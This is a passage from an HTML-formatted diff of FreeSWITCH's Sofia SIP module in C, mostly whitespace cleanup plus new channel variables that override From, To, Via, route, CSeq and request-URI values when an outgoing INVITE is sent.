-            const char *name = (char *) hi-&gt;name;
-            char *value = (char *) hi-&gt;value;
</del><ins>+        SWITCH_STANDARD_STREAM(stream);
+        if ((hi = switch_channel_variable_first(channel))) {
+                for (; hi; hi = hi-&gt;next) {
+                        const char *name = (char *) hi-&gt;name;
+                        char *value = (char *) hi-&gt;value;
</ins><span class="cx"> 
</span><del>-            if (!strncasecmp(name, prefix, strlen(prefix))) {
-                const char *hname = name + strlen(prefix);
-                stream.write_function(&amp;stream, &quot;%s: %s\r\n&quot;, hname, value);
-            }
-        }
-        switch_channel_variable_last(channel);
-    }
</del><ins>+                        if (!strncasecmp(name, prefix, strlen(prefix))) {
+                                const char *hname = name + strlen(prefix);
+                                stream.write_function(&amp;stream, &quot;%s: %s\r\n&quot;, hname, value);
+                        }
+                }
+                switch_channel_variable_last(channel);
+        }
</ins><span class="cx"> 
</span><del>-    if (!zstr((char*)stream.data)) {
-        extra_headers = stream.data;
-    } else {
</del><ins>+        if (!zstr((char *) stream.data)) {
+                extra_headers = stream.data;
+        } else {
</ins><span class="cx">                 switch_safe_free(stream.data);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1424,7 +1423,7 @@
</span><span class="cx"> {
</span><span class="cx">         sip_unknown_t *un;
</span><span class="cx">         char name[512] = &quot;&quot;;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!sip || !channel) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -1461,7 +1460,15 @@
</span><span class="cx">         char *route_uri = NULL;
</span><span class="cx">         sofia_destination_t *dst = NULL;
</span><span class="cx">         sofia_cid_type_t cid_type = tech_pvt-&gt;profile-&gt;cid_type;
</span><del>-        
</del><ins>+        sip_cseq_t *cseq = NULL;
+        const char *invite_full_via = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_invite_full_via&quot;);
+        const char *invite_route_uri = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_invite_route_uri&quot;);
+        const char *invite_full_from = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_invite_full_from&quot;);
+        const char *invite_full_to = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_invite_full_to&quot;);
+        const char *handle_full_from = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_handle_full_from&quot;);
+        const char *handle_full_to = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_handle_full_to&quot;);
+
+
</ins><span class="cx">         rep = switch_channel_get_variable(channel, SOFIA_REPLACES_HEADER);
</span><span class="cx"> 
</span><span class="cx">         switch_assert(tech_pvt != NULL);
</span><span class="lines">@@ -1477,7 +1484,7 @@
</span><span class="cx">         check_decode(cid_name, session);
</span><span class="cx">         check_decode(cid_num, session);
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((alertbuf = switch_channel_get_variable(channel, &quot;alert_info&quot;))) {
</span><span class="cx">                 alert_info = switch_core_session_sprintf(tech_pvt-&gt;session, &quot;Alert-Info: %s&quot;, alertbuf);
</span><span class="cx">         }
</span><span class="lines">@@ -1504,51 +1511,47 @@
</span><span class="cx">                 const char *invite_params = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_invite_params&quot;);
</span><span class="cx">                 const char *invite_to_params = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_invite_to_params&quot;);
</span><span class="cx">                 const char *invite_to_uri = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_invite_to_uri&quot;);
</span><ins>+                const char *invite_from_uri = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_invite_from_uri&quot;);
</ins><span class="cx">                 const char *invite_contact_params = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_invite_contact_params&quot;);
</span><span class="cx">                 const char *invite_from_params = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_invite_from_params&quot;);
</span><span class="cx">                 const char *from_var = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_from_uri&quot;);
</span><span class="cx">                 const char *from_display = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_from_display&quot;);
</span><ins>+                const char *invite_req_uri = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_invite_req_uri&quot;);
+                const char *use_name, *use_number;
</ins><span class="cx"> 
</span><del>-
</del><span class="cx">                 if (zstr(tech_pvt-&gt;dest)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_ERROR, &quot;URL Error!\n&quot;);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if ((d_url = sofia_glue_get_url_from_contact(tech_pvt-&gt;dest, 1))) {
</span><span class="cx">                         url = d_url;
</span><span class="cx">                 } else {
</span><span class="cx">                         url = tech_pvt-&gt;dest;
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 url_str = url;
</span><span class="cx"> 
</span><span class="cx">                 if (!tech_pvt-&gt;from_str) {
</span><del>-                        const char* sipip;
-                        const char* format;
</del><ins>+                        const char *sipip;
+                        const char *format;
</ins><span class="cx">                         const char *alt = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         sipip = tech_pvt-&gt;profile-&gt;sipip;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (sofia_glue_check_nat(tech_pvt-&gt;profile, tech_pvt-&gt;remote_ip)) {
</span><span class="cx">                                 sipip = tech_pvt-&gt;profile-&gt;extsipip;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         format = strchr(sipip, ':') ? &quot;\&quot;%s\&quot; &lt;sip:%s%s[%s]&gt;&quot; : &quot;\&quot;%s\&quot; &lt;sip:%s%s%s&gt;&quot;;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((alt = switch_channel_get_variable(channel, &quot;sip_invite_domain&quot;))) {
</span><span class="cx">                                 sipip = alt;
</span><span class="cx">                         }
</span><del>-                        
-                        tech_pvt-&gt;from_str = 
-                                switch_core_session_sprintf(tech_pvt-&gt;session,
-                                                                                        format,
-                                                                                        cid_name,
-                                                                                        cid_num,
-                                                                                        !zstr(cid_num) ? &quot;@&quot; : &quot;&quot;,
-                                                                                        sipip);
</del><ins>+
+                        tech_pvt-&gt;from_str = switch_core_session_sprintf(tech_pvt-&gt;session, format, cid_name, cid_num, !zstr(cid_num) ? &quot;@&quot; : &quot;&quot;, sipip);
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (from_var) {
</span><span class="cx">                         if (strncasecmp(from_var, &quot;sip:&quot;, 4) || strncasecmp(from_var, &quot;sips:&quot;, 5)) {
</span><span class="cx">                                 use_from_str = switch_core_session_strdup(tech_pvt-&gt;session, from_var);
</span><span class="lines">@@ -1565,7 +1568,7 @@
</span><span class="cx">                         rpid_domain = switch_core_session_strdup(session, tech_pvt-&gt;gateway_from_str);
</span><span class="cx">                 } else if (!zstr(tech_pvt-&gt;from_str)) {
</span><span class="cx">                         rpid_domain = switch_core_session_strdup(session, tech_pvt-&gt;from_str);
</span><del>-                } 
</del><ins>+                }
</ins><span class="cx"> 
</span><span class="cx">                 sofia_glue_get_url_from_contact(rpid_domain, 0);
</span><span class="cx">                 if ((rpid_domain = strrchr(rpid_domain, '@'))) {
</span><span class="lines">@@ -1616,33 +1619,32 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (zstr(tech_pvt-&gt;invite_contact)) {
</span><del>-                        const char * contact;
</del><ins>+                        const char *contact;
</ins><span class="cx">                         if ((contact = switch_channel_get_variable(channel, &quot;sip_contact_user&quot;))) {
</span><span class="cx">                                 char *ip_addr;
</span><span class="cx">                                 char *ipv6;
</span><span class="cx"> 
</span><del>-                                if (sofia_glue_check_nat(tech_pvt-&gt;profile, tech_pvt-&gt;remote_ip)) { 
-                                        ip_addr = (switch_check_network_list_ip(tech_pvt-&gt;remote_ip, tech_pvt-&gt;profile-&gt;local_network)) 
</del><ins>+                                if (sofia_glue_check_nat(tech_pvt-&gt;profile, tech_pvt-&gt;remote_ip)) {
+                                        ip_addr = (switch_check_network_list_ip(tech_pvt-&gt;remote_ip, tech_pvt-&gt;profile-&gt;local_network))
</ins><span class="cx">                                                 ? tech_pvt-&gt;profile-&gt;sipip : tech_pvt-&gt;profile-&gt;extsipip;
</span><span class="cx">                                 } else {
</span><span class="cx">                                         ip_addr = tech_pvt-&gt;profile-&gt;extsipip ? tech_pvt-&gt;profile-&gt;extsipip : tech_pvt-&gt;profile-&gt;sipip;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 ipv6 = strchr(ip_addr, ':');
</span><span class="cx"> 
</span><span class="cx">                                 if (sofia_glue_transport_has_tls(tech_pvt-&gt;transport)) {
</span><del>-                                        tech_pvt-&gt;invite_contact = switch_core_session_sprintf(session, &quot;sip:%s@%s%s%s:%d&quot;, contact, 
-                                                                                                                                                   ipv6 ? &quot;[&quot; : &quot;&quot;, ip_addr, ipv6 ? &quot;]&quot; : &quot;&quot;, 
-                                                                                                                                                   tech_pvt-&gt;profile-&gt;tls_sip_port);
</del><ins>+                                        tech_pvt-&gt;invite_contact = switch_core_session_sprintf(session, &quot;sip:%s@%s%s%s:%d&quot;, contact,
+                                                                                                                                                   ipv6 ? &quot;[&quot; : &quot;&quot;, ip_addr, ipv6 ? &quot;]&quot; : &quot;&quot;, tech_pvt-&gt;profile-&gt;tls_sip_port);
</ins><span class="cx">                                 } else {
</span><del>-                                        tech_pvt-&gt;invite_contact = switch_core_session_sprintf(session, &quot;sip:%s@%s%s%s:%d&quot;, contact, 
</del><ins>+                                        tech_pvt-&gt;invite_contact = switch_core_session_sprintf(session, &quot;sip:%s@%s%s%s:%d&quot;, contact,
</ins><span class="cx">                                                                                                                                                    ipv6 ? &quot;[&quot; : &quot;&quot;, ip_addr, ipv6 ? &quot;]&quot; : &quot;&quot;, tech_pvt-&gt;profile-&gt;sip_port);
</span><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><span class="cx">                                 if (sofia_glue_transport_has_tls(tech_pvt-&gt;transport)) {
</span><span class="cx">                                         tech_pvt-&gt;invite_contact = tech_pvt-&gt;profile-&gt;tls_url;
</span><span class="cx">                                 } else {
</span><del>-                                        if (sofia_glue_check_nat(tech_pvt-&gt;profile, tech_pvt-&gt;remote_ip)) { 
</del><ins>+                                        if (sofia_glue_check_nat(tech_pvt-&gt;profile, tech_pvt-&gt;remote_ip)) {
</ins><span class="cx">                                                 tech_pvt-&gt;invite_contact = tech_pvt-&gt;profile-&gt;public_url;
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 tech_pvt-&gt;invite_contact = tech_pvt-&gt;profile-&gt;url;
</span><span class="lines">@@ -1653,36 +1655,68 @@
</span><span class="cx"> 
</span><span class="cx">                 url_str = sofia_overcome_sip_uri_weakness(session, url, tech_pvt-&gt;transport, SWITCH_TRUE, invite_params);
</span><span class="cx">                 invite_contact = sofia_overcome_sip_uri_weakness(session, tech_pvt-&gt;invite_contact, tech_pvt-&gt;transport, SWITCH_FALSE, invite_contact_params);
</span><del>-                from_str = sofia_overcome_sip_uri_weakness(session, use_from_str, 0, SWITCH_TRUE, invite_from_params);
</del><ins>+                from_str = sofia_overcome_sip_uri_weakness(session, invite_from_uri ? invite_from_uri : use_from_str, 0, SWITCH_TRUE, invite_from_params);
</ins><span class="cx">                 to_str = sofia_overcome_sip_uri_weakness(session, invite_to_uri ? invite_to_uri : tech_pvt-&gt;dest_to, 0, SWITCH_FALSE, invite_to_params);
</span><span class="cx"> 
</span><ins>+                switch_channel_set_variable(channel, &quot;sip_outgoing_contact_uri&quot;, invite_contact);
+
+
</ins><span class="cx">                 /*
</span><span class="cx">                    Does the &quot;genius&quot; who wanted SIP to be &quot;text-based&quot; so it was &quot;easier to read&quot; even use it now,
</span><span class="cx">                    or did he just suggest it to make our lives miserable?
</span><span class="cx">                  */
</span><span class="cx">                 use_from_str = from_str;
</span><ins>+
+                if (!switch_stristr(&quot;sip:&quot;, use_from_str)) {
+                        use_from_str = switch_core_session_sprintf(session, &quot;sip:%s&quot;, use_from_str);
+                }
+
</ins><span class="cx">                 if (!from_display &amp;&amp; !strcasecmp(tech_pvt-&gt;caller_profile-&gt;caller_id_name, &quot;_undef_&quot;)) {
</span><span class="cx">                         from_str = switch_core_session_sprintf(session, &quot;&lt;%s&gt;&quot;, use_from_str);
</span><span class="cx">                 } else {
</span><del>-                        from_str = switch_core_session_sprintf(session, &quot;\&quot;%s\&quot; &lt;%s&gt;&quot;, from_display ? from_display : 
</del><ins>+                        from_str = switch_core_session_sprintf(session, &quot;\&quot;%s\&quot; &lt;%s&gt;&quot;, from_display ? from_display :
</ins><span class="cx">                                                                                                    tech_pvt-&gt;caller_profile-&gt;caller_id_name, use_from_str);
</span><span class="cx">                 }
</span><del>-                
-                if (!(call_id = switch_channel_get_variable(channel, &quot;sip_outgoing_call_id&quot;))) {
</del><ins>+
+                if (!(call_id = switch_channel_get_variable(channel, &quot;sip_invite_call_id&quot;))) {
</ins><span class="cx">                         if (sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_UUID_AS_CALLID)) {
</span><span class="cx">                                 call_id = switch_core_session_get_uuid(session);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><ins>+                if (handle_full_from) {
+                        from_str = (char *) handle_full_from;
+                }
+
+                if (handle_full_to) {
+                        to_str = (char *) handle_full_to;
+                }
+
+
+                if (invite_req_uri) {
+                        url_str = (char *) invite_req_uri;
+                }
+
+                if (url_str) {
+                        char *s = NULL;
+                        if (!strncasecmp(url_str, &quot;sip:&quot;, 4)) {
+                                s = url_str + 4;
+                        }
+                        if (!strncasecmp(url_str, &quot;sips:&quot;, 5)) {
+                                s = url_str + 5;
+                        }
+                        if (!s) {
+                                s = url_str;
+                        }
+                        switch_channel_set_variable(channel, &quot;sip_req_uri&quot;, s);
+                }
+
</ins><span class="cx">                 tech_pvt-&gt;nh = nua_handle(tech_pvt-&gt;profile-&gt;nua, NULL,
</span><span class="cx">                                                                   NUTAG_URL(url_str),
</span><span class="cx">                                                                   TAG_IF(call_id, SIPTAG_CALL_ID_STR(call_id)),
</span><del>-                                                                  SIPTAG_TO_STR(to_str), 
-                                                                  SIPTAG_FROM_STR(from_str),
-                                                                  SIPTAG_CONTACT_STR(invite_contact),
-                                                                  TAG_END());
</del><ins>+                                                                  SIPTAG_TO_STR(to_str), SIPTAG_FROM_STR(from_str), SIPTAG_CONTACT_STR(invite_contact), TAG_END());
</ins><span class="cx"> 
</span><del>-                if (tech_pvt-&gt;dest &amp;&amp; (strstr(tech_pvt-&gt;dest, &quot;;fs_nat&quot;) || strstr(tech_pvt-&gt;dest, &quot;;received&quot;) 
</del><ins>+                if (tech_pvt-&gt;dest &amp;&amp; (strstr(tech_pvt-&gt;dest, &quot;;fs_nat&quot;) || strstr(tech_pvt-&gt;dest, &quot;;received&quot;)
</ins><span class="cx">                                                            || ((val = switch_channel_get_variable(channel, &quot;sip_sticky_contact&quot;)) &amp;&amp; switch_true(val)))) {
</span><span class="cx">                         sofia_set_flag(tech_pvt, TFLAG_NAT);
</span><span class="cx">                         tech_pvt-&gt;record_route = switch_core_session_strdup(tech_pvt-&gt;session, url_str);
</span><span class="lines">@@ -1690,27 +1724,49 @@
</span><span class="cx">                         session_timeout = SOFIA_NAT_SESSION_TIMEOUT;
</span><span class="cx">                         switch_channel_set_variable(channel, &quot;sip_nat_detected&quot;, &quot;true&quot;);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((val = switch_channel_get_variable(channel, &quot;sip_cid_type&quot;))) {
</span><span class="cx">                         cid_type = sofia_cid_name2type(val);
</span><span class="cx">                 } else {
</span><span class="cx">                         cid_type = tech_pvt-&gt;cid_type;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><ins>+                if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING) &amp;&amp; switch_channel_direction(tech_pvt-&gt;channel) == SWITCH_CALL_DIRECTION_INBOUND) {
+                        if (zstr((use_name = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;effective_callee_id_name&quot;))) &amp;&amp;
+                                zstr((use_name = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_callee_id_name&quot;)))) {
+                                if (!(use_name = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_to_display&quot;))) {
+                                        use_name = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_to_user&quot;);
+                                }
+                        }
+
+                        if (zstr((use_number = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;effective_callee_id_number&quot;))) &amp;&amp;
+                                zstr((use_number = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_callee_id_number&quot;)))) {
+                                use_number = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_to_user&quot;);
+                        }
+
+                        if (zstr(use_name) &amp;&amp; zstr(use_name = tech_pvt-&gt;caller_profile-&gt;callee_id_name)) {
+                                use_name = tech_pvt-&gt;caller_profile-&gt;caller_id_name;
+                        }
+
+                        if (zstr(use_number) &amp;&amp; zstr(use_number = tech_pvt-&gt;caller_profile-&gt;callee_id_number)) {
+                                use_number = tech_pvt-&gt;caller_profile-&gt;caller_id_number;
+                        }
+                } else {
+                        use_name = tech_pvt-&gt;caller_profile-&gt;caller_id_name;
+                        use_number = tech_pvt-&gt;caller_profile-&gt;caller_id_number;
+                }
+
+
</ins><span class="cx">                 switch (cid_type) {
</span><span class="cx">                 case CID_TYPE_PID:
</span><span class="cx">                         if (switch_test_flag(caller_profile, SWITCH_CPF_SCREEN)) {
</span><del>-                                tech_pvt-&gt;asserted_id = switch_core_session_sprintf(tech_pvt-&gt;session, &quot;\&quot;%s\&quot;&lt;sip:%s@%s&gt;&quot;,
-                                                                                                                                        tech_pvt-&gt;caller_profile-&gt;caller_id_name,
-                                                                                                                                        tech_pvt-&gt;caller_profile-&gt;caller_id_number, 
-                                                                                                                                        rpid_domain);
</del><ins>+                                tech_pvt-&gt;asserted_id = switch_core_session_sprintf(tech_pvt-&gt;session, &quot;\&quot;%s\&quot;&lt;sip:%s@%s&gt;&quot;, use_name, use_number, rpid_domain);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 tech_pvt-&gt;preferred_id = switch_core_session_sprintf(tech_pvt-&gt;session, &quot;\&quot;%s\&quot;&lt;sip:%s@%s&gt;&quot;,
</span><span class="cx">                                                                                                                                          tech_pvt-&gt;caller_profile-&gt;caller_id_name,
</span><del>-                                                                                                                                         tech_pvt-&gt;caller_profile-&gt;caller_id_number, 
-                                                                                                                                         rpid_domain);
</del><ins>+                                                                                                                                         tech_pvt-&gt;caller_profile-&gt;caller_id_number, rpid_domain);
</ins><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER)) {
</span><span class="cx">                                 tech_pvt-&gt;privacy = &quot;id&quot;;
</span><span class="cx">                         } else {
</span><span class="lines">@@ -1728,18 +1784,17 @@
</span><span class="cx">                                 } else if (switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER)) {
</span><span class="cx">                                         priv = &quot;full&quot;;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (switch_test_flag(caller_profile, SWITCH_CPF_SCREEN)) {
</span><span class="cx">                                         screen = &quot;yes&quot;;
</span><span class="cx">                                 }
</span><del>-                                
-                                if (!strcasecmp(tech_pvt-&gt;caller_profile-&gt;caller_id_name, &quot;_undef_&quot;)) {
</del><ins>+
+                                if (zstr(tech_pvt-&gt;caller_profile-&gt;caller_id_name) || !strcasecmp(tech_pvt-&gt;caller_profile-&gt;caller_id_name, &quot;_undef_&quot;)) {
</ins><span class="cx">                                         tech_pvt-&gt;rpid = switch_core_session_sprintf(tech_pvt-&gt;session, &quot;&lt;sip:%s@%s&gt;;party=calling;screen=%s;privacy=%s&quot;,
</span><del>-                                                                                                                                 tech_pvt-&gt;caller_profile-&gt;caller_id_number, rpid_domain, screen, priv);
</del><ins>+                                                                                                                                 use_number, rpid_domain, screen, priv);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         tech_pvt-&gt;rpid = switch_core_session_sprintf(tech_pvt-&gt;session, &quot;\&quot;%s\&quot;&lt;sip:%s@%s&gt;;party=calling;screen=%s;privacy=%s&quot;,
</span><del>-                                                                                                                                 tech_pvt-&gt;caller_profile-&gt;caller_id_name,
-                                                                                                                                 tech_pvt-&gt;caller_profile-&gt;caller_id_number, rpid_domain, screen, priv);
</del><ins>+                                                                                                                                 use_name, use_number, rpid_domain, screen, priv);
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="lines">@@ -1815,7 +1870,7 @@
</span><span class="cx">                 if (dst-&gt;route_uri) {
</span><span class="cx">                         route_uri = sofia_overcome_sip_uri_weakness(tech_pvt-&gt;session, dst-&gt;route_uri, tech_pvt-&gt;transport, SWITCH_TRUE, NULL);
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (dst-&gt;route) {
</span><span class="cx">                         route = dst-&gt;route;
</span><span class="cx">                 }
</span><span class="lines">@@ -1825,63 +1880,79 @@
</span><span class="cx">                 route_uri = switch_core_session_strdup(session, val);
</span><span class="cx">                 route = NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (route_uri) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;%s Setting proxy route to %s\n&quot;, route_uri, switch_channel_get_name(channel));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;%s Setting proxy route to %s\n&quot;, route_uri,
+                                                  switch_channel_get_name(channel));
</ins><span class="cx">                 tech_pvt-&gt;route_uri = switch_core_session_strdup(tech_pvt-&gt;session, route_uri);
</span><span class="cx">         }
</span><span class="cx"> 
</span><ins>+
+        if ((val = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_invite_cseq&quot;))) {
+                uint32_t callsequence = (uint32_t) strtoul(val, NULL, 10);
+                cseq = sip_cseq_create(tech_pvt-&gt;nh-&gt;nh_home, callsequence, SIP_METHOD_INVITE);
+        }
+
+
</ins><span class="cx">         switch_channel_clear_flag(channel, CF_MEDIA_ACK);
</span><span class="cx"> 
</span><ins>+        if (handle_full_from) {
+                tech_pvt-&gt;nh-&gt;nh_has_invite = 1;
+        }
+
</ins><span class="cx">         if (sofia_use_soa(tech_pvt)) {
</span><span class="cx">                 nua_invite(tech_pvt-&gt;nh,
</span><span class="cx">                                    NUTAG_AUTOANSWER(0),
</span><span class="cx">                                    NUTAG_SESSION_TIMER(session_timeout),
</span><ins>+                                   TAG_IF(invite_full_from, SIPTAG_FROM_STR(invite_full_from)),
+                                   TAG_IF(invite_full_to, SIPTAG_TO_STR(invite_full_to)),
</ins><span class="cx">                                    TAG_IF(tech_pvt-&gt;redirected, NUTAG_URL(tech_pvt-&gt;redirected)),
</span><span class="cx">                                    TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)),
</span><ins>+                                   TAG_IF(!zstr(invite_full_via), SIPTAG_VIA_STR(invite_full_via)),
</ins><span class="cx">                                    TAG_IF(!zstr(tech_pvt-&gt;rpid), SIPTAG_REMOTE_PARTY_ID_STR(tech_pvt-&gt;rpid)),
</span><span class="cx">                                    TAG_IF(!zstr(tech_pvt-&gt;preferred_id), SIPTAG_P_PREFERRED_IDENTITY_STR(tech_pvt-&gt;preferred_id)),
</span><span class="cx">                                    TAG_IF(!zstr(tech_pvt-&gt;asserted_id), SIPTAG_P_ASSERTED_IDENTITY_STR(tech_pvt-&gt;asserted_id)),
</span><span class="cx">                                    TAG_IF(!zstr(tech_pvt-&gt;privacy), SIPTAG_PRIVACY_STR(tech_pvt-&gt;privacy)),
</span><span class="cx">                                    TAG_IF(!zstr(alert_info), SIPTAG_HEADER_STR(alert_info)),
</span><span class="cx">                                    TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
</span><del>-                                   TAG_IF(sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_PASS_CALLEE_ID), SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot;FREESWITCH_SUPPORT)),
</del><ins>+                                   TAG_IF(sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_PASS_CALLEE_ID), SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot; FREESWITCH_SUPPORT)),
</ins><span class="cx">                                    TAG_IF(!zstr(max_forwards), SIPTAG_MAX_FORWARDS_STR(max_forwards)),
</span><span class="cx">                                    TAG_IF(!zstr(route_uri), NUTAG_PROXY(route_uri)),
</span><ins>+                                   TAG_IF(!zstr(invite_route_uri), NUTAG_INITIAL_ROUTE_STR(invite_route_uri)),
</ins><span class="cx">                                    TAG_IF(!zstr(route), SIPTAG_ROUTE_STR(route)),
</span><span class="cx">                                    TAG_IF(tech_pvt-&gt;profile-&gt;minimum_session_expires, NUTAG_MIN_SE(tech_pvt-&gt;profile-&gt;minimum_session_expires)),
</span><ins>+                                   TAG_IF(cseq, SIPTAG_CSEQ(cseq)),
</ins><span class="cx">                                    SOATAG_ADDRESS(tech_pvt-&gt;adv_sdp_audio_ip),
</span><span class="cx">                                    SOATAG_USER_SDP_STR(tech_pvt-&gt;local_sdp_str),
</span><span class="cx">                                    SOATAG_REUSE_REJECTED(1),
</span><span class="cx">                                    SOATAG_ORDERED_USER(1),
</span><span class="cx">                                    SOATAG_RTP_SORT(SOA_RTP_SORT_REMOTE),
</span><del>-                                   SOATAG_RTP_SELECT(SOA_RTP_SELECT_ALL), 
-                                   TAG_IF(rep, SIPTAG_REPLACES_STR(rep)), 
-                                   SOATAG_HOLD(holdstr), 
-                                   TAG_END());
</del><ins>+                                   SOATAG_RTP_SELECT(SOA_RTP_SELECT_ALL), TAG_IF(rep, SIPTAG_REPLACES_STR(rep)), SOATAG_HOLD(holdstr), TAG_END());
</ins><span class="cx">         } else {
</span><span class="cx">                 nua_invite(tech_pvt-&gt;nh,
</span><span class="cx">                                    NUTAG_AUTOANSWER(0),
</span><span class="cx">                                    NUTAG_SESSION_TIMER(session_timeout),
</span><ins>+                                   TAG_IF(invite_full_from, SIPTAG_FROM_STR(invite_full_from)),
+                                   TAG_IF(invite_full_to, SIPTAG_TO_STR(invite_full_to)),
</ins><span class="cx">                                    TAG_IF(tech_pvt-&gt;redirected, NUTAG_URL(tech_pvt-&gt;redirected)),
</span><span class="cx">                                    TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)),
</span><ins>+                                   TAG_IF(!zstr(invite_full_via), SIPTAG_VIA_STR(invite_full_via)),
</ins><span class="cx">                                    TAG_IF(!zstr(tech_pvt-&gt;rpid), SIPTAG_REMOTE_PARTY_ID_STR(tech_pvt-&gt;rpid)),
</span><span class="cx">                                    TAG_IF(!zstr(tech_pvt-&gt;preferred_id), SIPTAG_P_PREFERRED_IDENTITY_STR(tech_pvt-&gt;preferred_id)),
</span><span class="cx">                                    TAG_IF(!zstr(tech_pvt-&gt;asserted_id), SIPTAG_P_ASSERTED_IDENTITY_STR(tech_pvt-&gt;asserted_id)),
</span><span class="cx">                                    TAG_IF(!zstr(tech_pvt-&gt;privacy), SIPTAG_PRIVACY_STR(tech_pvt-&gt;privacy)),
</span><span class="cx">                                    TAG_IF(!zstr(alert_info), SIPTAG_HEADER_STR(alert_info)),
</span><span class="cx">                                    TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
</span><del>-                                   TAG_IF(sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_PASS_CALLEE_ID), SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot;FREESWITCH_SUPPORT)),
</del><ins>+                                   TAG_IF(sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_PASS_CALLEE_ID), SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot; FREESWITCH_SUPPORT)),
</ins><span class="cx">                                    TAG_IF(!zstr(max_forwards), SIPTAG_MAX_FORWARDS_STR(max_forwards)),
</span><span class="cx">                                    TAG_IF(!zstr(route_uri), NUTAG_PROXY(route_uri)),
</span><span class="cx">                                    TAG_IF(!zstr(route), SIPTAG_ROUTE_STR(route)),
</span><ins>+                                   TAG_IF(!zstr(invite_route_uri), NUTAG_INITIAL_ROUTE_STR(invite_route_uri)),
</ins><span class="cx">                                    TAG_IF(tech_pvt-&gt;profile-&gt;minimum_session_expires, NUTAG_MIN_SE(tech_pvt-&gt;profile-&gt;minimum_session_expires)),
</span><ins>+                                   TAG_IF(cseq, SIPTAG_CSEQ(cseq)),
</ins><span class="cx">                                    NUTAG_MEDIA_ENABLE(0),
</span><span class="cx">                                    SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;),
</span><del>-                                   SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str),
-                                   TAG_IF(rep, SIPTAG_REPLACES_STR(rep)), 
-                                   SOATAG_HOLD(holdstr), 
-                                   TAG_END());                
</del><ins>+                                   SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str), TAG_IF(rep, SIPTAG_REPLACES_STR(rep)), SOATAG_HOLD(holdstr), TAG_END());
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         sofia_glue_free_destination(dst);
